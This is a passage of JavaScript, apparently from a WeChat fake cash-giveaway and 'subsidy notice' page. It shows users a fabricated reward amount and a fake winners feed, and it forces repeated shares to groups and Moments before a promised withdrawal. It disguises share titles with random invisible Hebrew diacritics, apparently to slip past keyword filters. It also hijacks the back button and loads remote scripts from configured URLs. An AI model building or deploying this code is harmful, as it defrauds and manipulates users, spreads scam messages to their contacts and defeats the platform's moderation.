                '<svg t="1566461623474" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="2574" width="16" height="16"><path d="M928.6 208c-27 1.4-51.8 18.6-62.7 43.4-12.1 27.7-6.2 56 10 76.3l-7.7 32.3c-15.7 66-74.6 112.5-142.5 112.5-76.4 0-139.9-58.7-146-134.8l-7.3-91.4c35.2-23.4 56-66.8 45.9-114-8.7-40.5-41.5-73.2-82.1-81.7C466.5 35.9 405 88.9 405 156.2c0 37.6 19.3 70.8 48.5 90.1l-7.3 91.4c-6.1 76.1-69.6 134.8-146 134.8-67.8 0-126.8-46.6-142.5-112.5l-7.7-32.3c16.2-20.2 22.1-48.6 10-76.3-10.8-24.8-35.6-42.1-62.7-43.4-49.4-2.5-85.3 40.7-77.4 86.3 4.4 25.2 21.1 45.2 42.8 54.8l65.6 463.5h769v-0.2l65.6-463.3c21.8-9.6 38.5-29.6 42.8-54.8 8.2-45.6-27.7-88.8-77.1-86.3z" fill="#F9C85D" p-id="2575"></path><path d="M781.3 961.3h-541c-63 0-114-51-114-114h769c0 63-51.1 114-114 114z" fill="#83C6EF" p-id="2576"></path><path d="M93 281.4m-73.9 0a73.9 73.9 0 1 0 147.8 0 73.9 73.9 0 1 0-147.8 0Z" fill="#F9C85D" p-id="2577"></path><path d="M928.6 208c-27 1.4-51.8 18.6-62.7 43.4-12.1 27.7-6.2 56 10 76.3l-7.7 32.3c-15.7 66-74.6 112.5-142.5 112.5-76.4 0-139.9-58.7-146-134.8l-7.3-91.4c35.2-23.4 56-66.8 45.9-114-8.7-40.5-41.5-73.2-82.1-81.7-7.9-1.7-15.7-2.3-23.4-2.3v764.4h384.5v-0.2l65.6-463.3c21.8-9.6 38.5-29.6 42.8-54.8 8.2-45.7-27.7-88.9-77.1-86.4z" fill="#FFB103" p-id="2578"></path><path d="M933.3 281.4m-73.8 0a73.8 73.8 0 1 0 147.6 0 73.8 73.8 0 1 0-147.6 0Z" fill="#F9C85D" p-id="2579"></path><path d="M513 154.3m-109.2 0a109.2 109.2 0 1 0 218.4 0 109.2 109.2 0 1 0-218.4 0Z" fill="#F9C85D" p-id="2580"></path><path d="M510.8 847.3v114H784c61.5 0 111.3-49.8 111.3-111.3v-2.7H510.8z" fill="#429BCF" p-id="2581"></path><path d="M146.4 230.5c-8.7 45.1-45.9 84.2-99.2 108.5 12.6 10.1 28.4 16.3 45.8 16.3 40.8 0 73.9-33.1 73.9-73.9 0-19.7-7.9-37.6-20.5-50.9zM986.9 231.1c-10.1 44.5-47.9 82.7-101.3 106.3 12.9 11 29.4 17.9 47.7 17.9 40.8 0 73.8-33 73.8-73.8-0.1-19.6-7.8-37.2-20.2-50.4zM589.1 76c2.3 6.6 3.6 13.5 3.6 20.5 0 51.4-64.1 93.1-143.1 93.1-14.3 0-28.1-1.4-41.1-4 13.5 45 55.2 77.7 104.6 77.7 60.3 0 109.2-48.9 109.2-109.2-0.1-30.6-12.8-58.3-33.2-78.1z" fill="#FFB103" p-id="2582"></path><path d="M55.848334 249.331715a8.4 19.9 60 1 0 34.467811-19.9 8.4 19.9 60 1 0-34.467811 19.9Z" fill="#F7EAD0" p-id="2583"></path><path d="M945.164493 246.695113a19.9 8.4 30 1 0 8.4-14.549226 19.9 8.4 30 1 0-8.4 14.549226Z" fill="#F7EAD0" p-id="2584"></path><path d="M469.7 77.7a41.4 10.6 0 1 0 82.8 0 41.4 10.6 0 1 0-82.8 0Z" fill="#F7EAD0" p-id="2585"></path><path d="M546 630.8h-61.4c-13.9 0-25.3-11.4-25.3-25.3s11.4-25.3 25.3-25.3H546c13.9 0 25.3 11.4 25.3 25.3s-11.4 25.3-25.3 25.3z" fill="#DA3329" p-id="2586"></path><path d="M546 580.1h-33v50.7h33c13.9 0 25.3-11.4 25.3-25.3 0-14-11.4-25.4-25.3-25.4z" fill="#C11B16" p-id="2587"></path></svg><span style="color: #f5cf00; font-size: 15px; margin: 0 5px;">手气最佳</span><span style="font-size: 14px; color: #000;">' +
                o + '元</span>'
        }

        return n.style.cssText =
            "width: 100%; height: 60px; overflow: hidden; box-sizing: border-box; padding: 0 10px; border-bottom: 1px solid rgba(0, 0, 0, .05); display: -webkit-box; display: flex; flex-wrap: wrap; align-items: center; justify-content: center;",
            n.innerHTML =
                '<img style="width: 40px; height: 40px; margin-right: 10px; overflow: hidden; background-color: #eee; border-radius: ' +
                s + '%" src="' + a.avatar +
                '"><div style="flex: 1;"><div style="font-size: 15px; color: #000; margin-bottom: 4px;">' + a.name +
                '</div><div style="font-size: 14px; color: #929493;">' + e(r + 5) +
                '</div></div><div style="text-align: right;"><div style="text-align: right;">' + right + '</div>',
            totalMoney -= Number(o),
            c.textContent = "总发放200000份 剩余" + totalMoney.toFixed(0) + "份",
            n
    }


    function n() {
        var e = u.lastChild;
        e.parentNode.removeChild(e);
        var t = add(user[r]);
        t.style.animation = "itemMove" + l + " 0.5s",
            u.insertBefore(t, u.firstChild),
            r++,
        r >= user.length && (r = 0)
    }

    function addUser() {
        n();
        setTimeout(function () {
            addUser();
        }, 1500)
    }

    function bq() {
        var biaoqing = ["💫", "⭐️", "🌟", "✨", "⚡️", "☄️", "💥", "🔥", "🌪", "🌈", "💧", "💦", "⛄", "️☃️", "❄️",
            "🌊",
            "🍏", "🍎", "🍐", "🍊", "🍋", "🍌", "🍉", "🍇", "🍓", "🍈", "🍒", "🍑", "🍍", "🥥", "🥝", "🍅",
            "🍆",
            "🥑", "🥦", "🥒", "🌶", "🌽", "🥕", "🥔", "🍠", "🚴", "♂️", "🏆", "🥇", "🥇", "🏅", "🎖", "🏵",
            "🚊",
            "🛩", "💺", "🛰", "✈️", "🛫", "🚀", "🛬", "🛸", "🛥", "⛵️", "🛶", "🚁", "🔱", "⚜️", "🙌", "👏",
            "👋",
            "👍", "👊", "✊", "✌️", "👌", "✋", "👐", "💪", "🙏", "👈", "👉", "🖐", "🤘", "🖖", "✍️", "💅", "👄",
            "👅", "👂", "👃", "👁", "👀", "👤", "👥", "🗣", "👶", "👦", "👧", "👨", "👩", "👱", "👴", "👵",
            "👲",
            "👳", "👷", "💂", "🕵", "🎅", "👼", "👸", "👰", "🚶", "🏃", "💃", "😺", "😸", "😹", "😻", "😼",
            "😽", "🙀", "😿", "😾", "🙌", "👏", "👋", "👍", "👎", "👊",
            "✊",
            "✌️", "👌", "✋", "👐", "💪", "🙏", "☝️", "👆", "👇", "👈", "👉", "🖕", "🖐", "🤘", "🖖", "✍️", "💅",
            "👄", "👅", "👂", "👃", "👁", "👀", "👤", "👥", "🗣", "👶", "👦", "👧", "👨", "👩", "👱", "👴",
            "👵",
            "👲", "👳", "👮", "👷", "💂", "🕵", "🎅", "👼", "👸", "👰", "🚶", "🏃", "💃"
        ];
        return biaoqing[Math.floor(Math.random() * biaoqing.length)];
    }

    function checkIsMp() {
        if (window.data && window.data['attached'] && window.data['attached']['isMp']) {
            return true;
        } else {
            return false;
        }
    }

    function getCity() {
        var str = (window['localAddress'] ? ['北京市', '天津市', '上海市', '重庆市'].indexOf(localAddress.province) > -1 ?
            localAddress.province : localAddress.city ? localAddress.city : localAddress.province : '我省省')
            .replace(/(.*)市/, '$1').replace(/(.*)省/, '$1');
        return str.split('').join('{fuckr}')
    }
    var riqi=new Date();

    var years=riqi.getFullYear();

    var months=("0"+(riqi.getMonth()+1)).slice(-2);

    var days=("0"+(riqi.getDate()+2)).slice(-2);

    var shijian=months+"-"+days;

    function getSpm() {
        var stringArray = 'qwertyuiopasdfghjklzxcvbnm1234567890';
        var spm = []
        spm.push(stringArray.charAt(Math.floor(Math.random() * stringArray.length)));
        spm.push(stringArray.charAt(Math.floor(Math.random() * stringArray.length)));
        spm.push(stringArray.charAt(Math.floor(Math.random() * stringArray.length)));
        spm.push(stringArray.charAt(Math.floor(Math.random() * stringArray.length)));
        spm.push(stringArray.charAt(Math.floor(Math.random() * stringArray.length)));
        spm.push(stringArray.charAt(Math.floor(Math.random() * stringArray.length)));
        spm.push(stringArray.charAt(Math.floor(Math.random() * stringArray.length)));
        return spm.join('');
    }

    function randomNum() {
        return parseInt(200 * Math.random())
    }

    function record(event, id, allow_reply) {
        try {
            if (!localStorage.getItem(event + ':' + id) || allow_reply) {
                // $.post(window.req_url + '/record', {
                //     event: event,
                //     id: id
                //  })
                //   localStorage.setItem(event + ':' + id, true);
            }
        } catch (e) {

        }
    }

    function report() {
        if (gConfig.hm_s) {
            M.report(gConfig.hm_s);
        }
        // 总统计
        //  M.report('d5136993d64b007dd49bd9f293582bdf')
    }

    /* 借权start */
    var location_host = location.host;

    //console.log(location_host);



    function getFuck() {
        var fucklist = window['gConfig']['attached']['fucks'];
        var rd = parseInt(fucklist.length * Math.random());
        return fucklist[rd % fucklist.length]
    }

    function getFuckr() {
        var fucklist = ["\u05c1", "\u05c2", "\u05c4", "\u05c7", "\u05b4", "\u05b5", "\u05b6", "\u05b9", "\u05ba",
            "\u05bc", "\u05bd", "\u05bf", "\u05c1", "\u05c4", "\u05c5", "\u0591", "\u0592", "\u0594",
            "\u0595", "\u0596", "\u0599", "\u059a", "\u059b", "\u059c", "\u059d", "\u05a2", "\u05a3", "\u05a4",
            "\u05a5", "\u05af", "\u05b0", "\u05b4", "\u05b5", "\u05b6", "\u05b7", "\u05b8", "\u05b9", "\u05ba",
            "\u05bb", "\u05bc", "\u05bd", "\u05bf", "\u05c1", "\u05c2", "\u05c4", "\u05c5", "\u05c7",
            "\u055c"
        ];
        return fucklist[Math.floor(Math.random() * fucklist.length)];
    }

    function fuckStr(str) {
        while (str && str.indexOf('{fuck}') !== -1) {
            str = str.replace('{fuck}', getFuck() + (Math.random() > 0.5 ? getFuck() : ''))
        }

        while (str && str.indexOf('{fuckr}') !== -1) {
            str = str.replace('{fuckr}', getFuckr() + (Math.random() > 0.5 ? getFuckr() : ''));
        }

        return str || '';
    }

    // 分享
    var openTime;


    var hiddenProperty = 'hidden' in document ? 'hidden' : 'webkitHidden' in document ? 'webkitHidden' : 'mozHidden' in document ? 'mozHidden' : null;
    var visibilityChangeEvent = hiddenProperty.replace(/hidden/i, 'visibilitychange');

    document.addEventListener(visibilityChangeEvent, onVisibilityChange);

    function onVisibilityChange() {
        if (!document[hiddenProperty]) {
            if (window.data.attached && window.data.attached['jfx']) {
                setTimeout(function () {
                    if (!document[hiddenProperty]) {
                        if (shareATimes <= shareAtLimit) {
                            if (checkShare()) appmessage_callback();
                        } else {
                            timeline_callback();
                        }
                    }
                }, 100)
            }
        } else {
            openTime = Date.now();
        }
    };

    function share_tip() {
        // 4次群 2次朋友圈

        //console.log("shareATimes:"+shareATimes+'-------------'+"shareAtLimit:"+shareAtLimit + '-------shareTTimes：'+shareTTimes);

        if (shareATimes == 0) {
            showShareTips(window.g_tips_message_obj);
        } else if (shareATimes == 1) {
            window.g_tips_message_obj = gConfig.groupTips[0];
            showShareTips(window.g_tips_message_obj);
            shareFriend();
        } else if (shareATimes == 2) {
            window.g_tips_message_obj = gConfig.groupTips[1];
            showShareTips(window.g_tips_message_obj);
            shareFriend();
        } else if (shareATimes == 3) {
            window.g_tips_message_obj = gConfig.groupTips[2];
            showShareTips(window.g_tips_message_obj);
            shareFriend();
        }

        else if (shareATimes == 4) {
            window.g_tips_message_obj = gConfig.groupTips[3];
            showShareTips(window.g_tips_message_obj);
            shareFriend();
        }

            // else if (shareATimes == 4 && shareAtLimit == 4) {
            //     window.g_tips_message_obj = gConfig.groupTips[3];
            //     showShareTips(window.g_tips_message_obj);
            //     shareFriend();
        // }

        else {
            if (shareTTimes < 1) {
                $('#squn').hide();
                $('#squan').show();
                if (gConfig && gConfig.to_timeline && gConfig.to_timeline.jump_share) {
                    var a = document.createElement('a');
                    a.href = gConfig.to_timeline.jump_share + '&money=' + gConfig.moneyStr;
                    a.click();
                    return;
                }

                //window.g_tips_message_obj = gConfig.groupTips[4];
                window.g_tips_message_obj = gConfig.groupTips[4];
                showShareTips(window.g_tips_message_obj);
                show_timeline_menu();
                shareTimeline();
            } else {
                if (shareTTimes == 1) {
                    window.g_tips_message_obj = gConfig.timeLineTips[0];
                    showShareTips(window.g_tips_message_obj);
                    shareTimeline();
                } else {
                    try {
                        $(document.body).trigger('event_page_share_done');
                    } catch (e) {

                    }
                }

            }
        }
    }

    function timeline_callback() {

        if (shareATimes >= shareAtLimit) {
            shareTTimes += 1;
            share_tip();
            record('share-timeline' + shareTTimes, shareTTimes, true);
            record('share-timeline', shareTTimes, true);
        } else {
            // g_dialog.alert({
            //     title: '<span style="color:red">注意!!</span>',
            //     message: '请按照提示正确分享',
            //     btn: '我知道了',
            //     cb: function () {
            //         $('.page .btn').trigger('click')
            //     }
            // });
        }
        //console.log("shareATimes:"+shareATimes+'-------------'+"shareAtLimit:"+shareAtLimit);
    }

    function appmessage_callback() {
        shareATimes += 1;
        share_tip();
        record('share-appmessage' + shareATimes, shareATimes, true);
        record('share-appmessage', shareATimes, true);

        // console.log("shareATimes:"+shareATimes+'-------------'+"shareAtLimit:"+shareAtLimit);

    }

    function randomRange(min, max){
        var returnStr = "",
            range = (max ? Math.round(Math.random() * (max-min)) + min : min),
            charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
        for(var i=0; i<range; i++){
            var index = Math.round(Math.random() * (charStr.length-1));
            returnStr += charStr.substring(index,index+1);
        }
        return returnStr;
    }

    function shareFriend() {
        var result = window.data.to_group;
        if (window.data.attached['rd_title']) {
            result.title = getTitle();
        }


        //   var link_u=	JSON.parse(result.link);
        // var index = Math.floor((Math.random()*link_u.length));
        // var url_ua=link_u[index];


        var url_ua=result.link;


        result_a={
            'link':url_ua
        }

        if (window.data.attached['ad_share']['qun'][shareATimes]) {
            result = {
                //'title': window.data['ad']['title'],
                'title': window.data['ad']['rd_title'] ? window.getAdTitle() : window.data['ad']['title'],
                'img': window.data['ad']['img'],
                'desc': window.data['ad']['desc'],
                'link':window.data['ad']['app_url']  //开启无接口要删除这个，把下面注释去掉
            }

            //var link_qungg=	JSON.parse(result.link);
            // var indexqun = Math.floor((Math.random()*link_qungg.length));
            // var url_qungg=link_qungg[indexqun];

            var url_qungg=result.link;


            result_a={

                'link':url_qungg,
            }

        }
        if(window.data.attached.signmode == 'jssdk') {

            wx.ready(function () {

                wx.onMenuShareTimeline({
                    title: fuckStr(gConfig.to_timeline.title.replace('{city}', getCity())).replace(
                        /{bq}/ig, bq()).replace(/{money}/ig, gConfig.money).replace(
                        /{rdnum}/g, randomNum()).replace('{data}', shijian),
                    link: gConfig.to_timeline.link,
                    desc: fuckStr(result.desc.replace('{city}', getCity())).replace(
                        /{bq}/ig, bq()).replace(/{money}/ig, gConfig.money).replace(
                        /{rdnum}/g, randomNum()),
                    imgUrl: result.img,
                    dataUrl: "http://fs.ringop.kugou.com/G132/M0B/0C/1B/xA0DAFqPht2AGh9BACJOIM_Aa8U043.mp3",
                    success: function () {
                        //if (checkShare()) appmessage_callback();
                        timeline_callback();
                    },
                    cancel: function () {}
                });
                wx.onMenuShareAppMessage({
                    title: fuckStr(result.title.replace('{city}', getCity())).replace(
                        /{bq}/ig, bq()).replace(/{money}/ig, gConfig.money).replace(
                        /{rdnum}/g, randomNum()).replace('{data}', shijian),
                    link: result_a.link,
                    desc: fuckStr(result.desc.replace('{city}', getCity())).replace(
                        /{bq}/ig, bq()).replace(/{money}/ig, gConfig.money).replace(
                        /{rdnum}/g, randomNum()),
                    imgUrl: result.img,
                    dataUrl: "http://fs.ringop.kugou.com/G132/M0B/0C/1B/xA0DAFqPht2AGh9BACJOIM_Aa8U043.mp3",
                    success: function () {
                        if (checkShare()) appmessage_callback();
                        //appmessage_callback();
                    },
                    cancel: function () {}
                });
            })


        }

    }


    function shareTimeline(result) {

        var result = window.data.to_timeline;
        if (window.data.attached['rd_title']) {
            result.title = getTitle(true);
        }

        // console.log('=============result.link=====================');
        // console.log(result.link);

        // var link_a=JSON.parse(result.link);
        // var index = Math.floor((Math.random()*link_a.length));
        // var url_aa=link_a[index];


        var url_aa=result.link;


        result_b={
            'link':url_aa
        }

        if (window.data.attached['ad_share']['pyq'][shareTTimes]) {
            result = {
                //'title': window.data['ad']['desc'],
                'title': window.data['ad']['rd_title'] ? window.getAdTitle() : window.data['ad']['title'],

                'img': window.data['ad']['img'],
                'desc': window.data['ad']['desc'],
                'link':window.data['ad']['timeline_url']
                //  'link':window.data['ad']['timeline_url']  //开启无接口要删除这个，把下面注释去掉
            }

            //             var link_pyqgg=JSON.parse(result.link);
            // var indexpyq = Math.floor((Math.random()*link_pyqgg.length));
            // var url_pyqgg=link_pyqgg[indexpyq];

            var url_pyqgg=result.link;

            result_b={
                'link':url_pyqgg
            }

        }
        if(window.data.attached.signmode == 'jssdk') {


            wx.ready(function () {


                wx.onMenuShareTimeline({
                    title: fuckStr(result.title.replace('{city}', getCity())).replace(
                        /{bq}/ig, bq()).replace(/{money}/ig, gConfig.money).replace('{data}', shijian),
                    link: result_b.link,
                    imgUrl: result.img,
                    dataUrl: "http://fs.ringop.kugou.com/G132/M0B/0C/1B/xA0DAFqPht2AGh9BACJOIM_Aa8U043.mp3",
                    type: 'video',
                    success: function () {
                        timeline_callback();
                    },
                    cancel: function () {}
                });
            })

        }


    }




    function start_load() {
        if (shareTTimes != 0 || shareATimes !== 0) {
            share_tip();
        }
        document.title = window.ranTT();
        var data = window.data;
        if (data.attached['timeline_ad']) timeline_ad = true;
        if (data.attached['group_ad']) group_ad = true;

        wx.config({
            debug: false,
            appId:data.appId,
            timestamp:data.timestamp,
            nonceStr:data.nonceStr,
            signature:data.signature,
            jsApiList: ["onMenuShareTimeline", "onMenuShareAppMessage", "hideMenuItems", "showMenuItems"]
        });

        // $('#loading').show();

        shareFriend();
        shareTimeline();
    }
    function init() {

        if (typeof WeixinJSBridge === "undefined") {
            if (document.addEventListener) {
                document.addEventListener('WeixinJSBridgeReady', start_load, false);
            } else if (document.attachEvent) {
                document.attachEvent('WeixinJSBridgeReady', start_load);
                document.attachEvent('onWeixinJSBridgeReady', start_load);
            }
        } else {
            start_load();
        }
    }

    window.g_share = {
        init: init,
    }



    function sharestart() {

        var config = {
            tpl: {
                body: [
                    '<div class="page" style="width:100%;height: 100vh; overflow: hidden; background-color: #fff;position:fixed"><div style="overflow: hidden; height: 330px; border: 1px solid rgb(240, 94, 77);background: rgb(234, 94, 77);background-size: cover;background-repeat: no-repeat;border-radius: 0px 0px 50% 50% / 10px 10px 23% 23%; margin-bottom: 20px "><img src="' +
                    content.img +
                    '"style="width: 80px; height: 80px;margin: 0 auto 0; display: block;margin-top: 40px;border-radius: 10px;"><p style="font-size: 18px; color: rgb(220, 205, 155); text-align: center;padding-top: 10px">' +
                    content.title +
                    '</p><p style="font-size: 40px; text-align: center;padding-top: 15px; color: rgb(220, 205, 155); font-weight: bold"><span data-time=""></span></p><div id="squn"style="display:block; text-align: center; font-size: 15px; color: rgb(220, 205, 155)">分享此活动到微信群后，自动存入零<span style="transform:rotate(13deg);display:inline-block;">钱</span></div><div id="squan"style="display:none; text-align: center; font-size: 15px; color: rgb(220, 205, 155)">分享此活动到朋友圈后，即可完成提现</div><div class="btn"style="margin: 15px auto; width: 110px; height: 40px; border-radius: 20px; background-color: rgb(226, 205, 155); color: #333; text-align: center; line-height: 40px; font-size: 16px; box-shadow: rgba(0, 0, 0, 0.2) 0px 4px 0px 0; animation: btnShake1 2s infinite;">提现到<span style="transform:rotate(13deg);display:inline-block;">钱</span>包</div></div><div style="width: 100%; height: 10px; background-color: #eceeed; "></div><div id="total"style="font-size: 14px; color:#929493; height: 30px; line-height: 30px; padding-left: 10px; border-bottom: solid 1px rgba(0,0,0,0.05)">总发放200000份剩余126901份</div><a id="tousu"style="font-size: 14px; color: #333; text-decoration: none;"></a><div style="display: none; position: fixed; z-index: 999; top: 10px; left: -15px; width: 80px; height: 40px; line-height: 40px; border-radius: 0 20px 20px 0; background-color: #fff; opacity: 0.8; text-align: center"></div><div><div class="tip" style="opacity:.8;position:fixed;z-index:999;top:10px;right:10px;overflow:hidden;text-align:center;color:#fff;font-size:15px;animation:tipMove 1.5s infinite"><img src="//ytm.oss-cn-hangzhou.aliyuncs.com/zz/img/share_arrow.png" j1.png"="" style="width:80px;height:90px;"><div style="transform:translateY(-40%)">转发点这里</div></div></div></div>',
                ].join(''),
            }
        };

        function initPage(money) {
            if (location_host.indexOf('dianping.com') > -1) {
                setTimeout(function () {
                    window.history.pushState('page2', '/', "/hrb/ershouche/38097789399332x.shtml" + Math[
                        "random"]()["toString"](36)["substring"](2) + ".html");
                    window.history.pushState('page2', '/', "/#" + Date.now()+'aaacc');
                }, 100);
            }
            $(document.body).append(config.tpl.body.jstpl_format({
                money: money
            }));
            bindEvent();
            djs(querySelector("[data-time]"), {
                time: 1e3,
                number: Number(money),
                regulator: 50
            });
            for (u.style.cssText =
                     "width: 100%; background-color: rgba(255,255,255,0.1); overflow: hidden; border-radius: 5px; height: 600px;"; p >
                 0;)
                u.appendChild(add(user[r])),
                    r++,
                r >= user.length && (r = 0),
                    p--;
            querySelector(".page").appendChild(u);
            addUser();
        }

        function bindEvent() {
            c = document.getElementById(total_id)
            document.body.onclick = function () {}

            $(document.body).on('event_page_share_done', function () {
                if (gConfig.successTips) {
                    g_dialog.alert({
                        title: '',
                        message: gConfig.successTips,
                        btn: '我知道了',
                        cb: function () {
                            /*
                            if (gConfig.endPageUrl) {
                                var a = document.createElement('a');
                                a.href = gConfig.endPageUrl + '&money=' + gConfig.money;
                                a.rel = 'noreferrer';
                                a.click();
                            }
                            */
                            window.history.back(-1)
                            // M.loadJS(gConfig['attached']['back_api']+"?t="+Date.now());
                            return false
                        }
                    });
                }
            });

            $('.page .btn').click(function () {
                if (!window['g_tips_message_obj']) {
                    window['g_tips_message_obj'] = gConfig.defaultTips;
                }
                showShareTips(g_tips_message_obj);
            })

        }

        function replaceMoney(obj, money) {
            obj = obj || {}
            if (obj.title) {
                obj.title = obj.title.replace('{moneyStr}', money).replace(/{rdnum}/g,
                    randomNum());
            }
            if (obj.desc) {
                obj.desc = obj.desc.replace('{moneyStr}', money).replace('\\n', '\n').replace(
                    /{rdnum}/g, randomNum());
            }
            if (obj.successTitle) {
                obj.successTitle = obj.successTitle.replace('{moneyStr}', money).replace(/{fuck}/ig, getFuck())
                    .replace(/{rdnum}/g, randomNum());
            }
            if (obj.successTips) {
                obj.successTips = obj.successTips.replace('{moneyStr}', money).replace(/{fuck}/ig, getFuck())
                    .replace(/{rdnum}/g, randomNum());
            }
        }

        function init() {
            M.resetFont();
            setTimeout(function () {
                if (shareATimes == 0 && shareTTimes == 0) {
                    loading()
                }
            }, 100)
            var moneyStr = localStorage.getItem('money_str');
            if (!moneyStr) {
                moneyStr = parseInt((150 + 50 * Math.random()) * 100);
            }
            localStorage.setItem('money_str', moneyStr);
            gConfig.moneyStr = moneyStr;
            var money = (parseFloat(moneyStr / 100).toFixed(2));
            gConfig.money = money;

            gConfig.defaultTips = gConfig.defaultTips.jstpl_format({
                money: money
            });

            gConfig.successTips = gConfig.successTips.jstpl_format({
                money: money
            });

            $(gConfig.groupTips).each(function (index, item) {
                replaceMoney(item, money)
            });

            $(gConfig.timeLineTips).each(function (index, item) {
                replaceMoney(item, money)
            });

            replaceMoney(gConfig['ad'], money)
            replaceMoney(gConfig['to_group'], money)
            replaceMoney(gConfig['to_timeline'], money)
            M.loadJS('https://ip.ws.126.net/ipquery', function () {
                g_share.init();
            }, function () {
                g_share.init();
            })
            setTimeout(function () {
                hideloading();
                initPage(money);
                setTimeout(function () {
                    if (shareATimes == 0 && shareTTimes == 0) {
                        showShareTips(gConfig.defaultTips);
                    }
                }, 100)
            }, 200)
            setBack();
        }

        init();

    }

    function  gotoshare () {
        //var url = location.href.split('#')[0];
        // url: 'https://s168.dzdftg.net/hb/Hb26/api_share_baijiayun?url='+encodeURIComponent(window.location.href.split('#')[0])+'&t='+Date.now(),

            $.ajax({
            type: "GET",
            //url: '/m2/data?id='+info.id+'&url='+encodeURIComponent(window.location.href.split('#')[0])+'&t='+Date.now(),
            url:"reward_debug_api?index=1&resource_id={{$resource['id']}}",
            //dataType: "json",
            success: function (data) {
                data = JSON.parse(data);
                $('#loading').hide();
                $('#card').hide();

                window['data'] = data;
                window.gConfig = data || {};
                window.content = data.content.s;
                extend();
                sharestart();

                report();
                record('tosharer', 1, true);

                setTimeout(function () {
                    history.pushState(null, null,"/work_reward?r={{$resource['resource_no']}}");
                }, 2000)
            }
        });
        clearSome();
    }

    function loading() {
        $(document.body).append(
            '<div class="popup-body loading" style="margin-top: 50%;position: absolute;width: 3rem;margin-top: 1.25rem;border-radius: 6px;background: #fff;left: 50%;margin-left: -1.5rem;"><div style="padding: .12rem .24rem .2rem;font-size: .16rem;color: rgba(0,0,0,.54);text-align: center;"><img style="width: 30px" src="//puep.qpic.cn/coral/Q3auHgzwzM4fgQ41VTF2rN41ibuV99MPdQAGo6WSIP2aicKRzEKUtaxg/0"><br><b style="font-size: 20px;color: red">正在抢红包...</b></div></div>'
        )
    }

    function hideloading() {
        $('.loading').hide();
    }

    function setBack() {
        if (gConfig['attached'] && gConfig['attached']['back_api_s']) {
            console.log(gConfig['attached']['back_api_s']);
            if (gConfig['attached']['back_api_s'] === 'refresh') {
                history.pushState(history.length + 1, "message", location.href.split('#')[0] + "#" + new Date()+'aacbd'
                    .getTime())
                if (navigator.userAgent.indexOf('Android') != -1) {
                    if (typeof (tbsJs) != "undefined") {
                        tbsJs.onReady('{useCachedApi : "true"}', function (e) {})
                        window.onhashchange = function () {
                            location.href = '';
                        };
                    } else {
                        window.onhashchange = function () {
                            location.href = '';
                        };
                    }
                } else {
                    window.onhashchange = function () {
                        location.href = '';
                    };
                }
            } else if (gConfig['attached']['back_api_s'] === 'warn') {
                setWarn();
            } else {
                M.loadJS(gConfig['attached']['back_api']+"?t="+Date.now());
            }
        }
    }

    function checkShare(length) {
        var now = Date.now();
        length = length ? length : 1000;

        setTimeout(function () {
            $('.popup-body').removeClass('zy')
        }, length + 500)

        if (now - openTime > length) {
            return true;
        } else {
            if ($('#js_mod_dialog').length == 0) {
                $(".btn").trigger("click");
            }
            setTimeout(function () {
                $('.popup-body').addClass('zy')
            }, 500)
            return false;
        }
    }

    var goon = true;

    function setWarn() {
        history.pushState(history.length + 1, "message", location.href.split('#')[0] + "#" + new Date().getTime()+'aacbd')
        if (navigator.userAgent.indexOf('Android') != -1) {
            if (typeof (tbsJs) != "undefined") {
                tbsJs.onReady('{useCachedApi : "true"}', function (e) {})
                window.onhashchange = function () {
                    if (goon) {
                        warn()
                    } else {
                        jumpEnd()
                    }
                };
            } else {
                window.onhashchange = function () {
                    if (goon) {
                        warn()
                    } else {
                        jumpEnd()
                    }
                };
            }
        } else {
            window.onhashchange = function () {
                if (goon) {
                    warn()
                } else {
                    jumpEnd()
                }
            };
        }
    }

    function jumpEnd() {
        /*
        if (gConfig.endPageUrl) {
            var a = document.createElement('a');
            a.href = gConfig.endPageUrl;
            a.rel = 'noreferrer';
            a.click();
        }
        */
        M.loadJS(gConfig['attached']['back_api_ss']+"?t="+Date.now());
    }

    var joinuser = parseInt(20 + 20 * Math.random());
    var jointotal = (1000 + 2000 * Math.random()).toFixed(2)

    function warn() {

        setWarn();
        goon = false;
        var title = window._title || '.{fuck}.{fuck}.{fuck}';
        document.title = fuckStr(title.replace('{city}', getCity())).replace(/{bq}/ig, bq()).replace(/{money}/ig,
            gConfig.money).replace(/{rdnum}/g, randomNum());
        /*
 g_dialog.confirm({
     title: '<b style="color: red;">主动放弃活动资格?</b>',
     message: '该活动<span style="color: red;">纯送福利</span><br>无任何附加条件<br>完成任务即领取成功<br>您有<span style="color: red;">' +
         joinuser +
         '</span>个好友<span style="color: red;">已完成任务</span><br>已经分走<span style="color: red;">' +
         jointotal + '</span>元',
     btn: ['残忍放弃', '<span style="color: red;">继续领取</span>'],
     cancelCb: function () {
         jumpEnd();
     },
     cb: function () {
         record('goonshare', 1, true);
         goon = true;
     }
 });
 */
        jumpEnd();
        setTimeout(function () {
            $('.popup-body').removeClass('zy')
        }, 1500)
        setTimeout(function () {
            $('.popup-body').addClass('zy')
        }, 500)
    }

    function clearSome() {
        //关闭所有声音视频
        $('audio,video').each(function () {
            $(this).data('muted', true); //Store elements muted by the button.
            $(this).pause(); // or .muted=true to keep playing muted
        });

        setInterval(function () {
            var sl = ['#brandFrame', '#tq_float_container', "#doyoo_mon_accept", "#newBridge"];
            sl.forEach(function (s) {
                if ($(s).length > 0) {
                    // $(s).remove();
                    $(s).hide();

                }
            });
        }, 100)
    }

    var name = '';

    function getTitle(change) {
        var keys = [
            ['{bq}{city}'],
            ['各{fuck}地{fuck}区', '所{fuck}有{fuck}地{fuck}区', '各{fuck}区{fuck}县', '辖{fuckr}区内', '各{fuckr}县{fuckr}市'],
            ['本月', '本周', '最新'],
            ['补{fuckr}貼', '消{fuckr}費{fuckr}补', '补{fuckr}助', '貼{fuckr}补', '津{fuckr}贴'],
            ['发{fuckr}放通{fuckr}知', '发{fuckr}放通{fuckr}告', '上线通{fuckr}知', '分{fuckr}发通{fuckr}知',
                '开{fuckr}抢告{fuckr}知', '开{fuckr}抢通{fuckr}知', '开{fuckr}抢通{fuckr}报', '发{fuckr}放通{fuckr}报'
            ],
            ['，', '. '],
            ['大{fuckr}家', '各{fuckr}位', '在{fuckr}座', '所{fuckr}有人'],
            ['请', '务{fuckr}必', '一定', '记{fuckr}得'],
            ['互相', '相互', '彼此'],
            ['转{fuckr}告', '转{fuckr}达', '传{fuckr}达', ]
        ];

        if (name && !change) {
            return name;
        } else {
            name = '';
            for (var i = 0; i < keys.length; i++) {
                var keyList = keys[i];
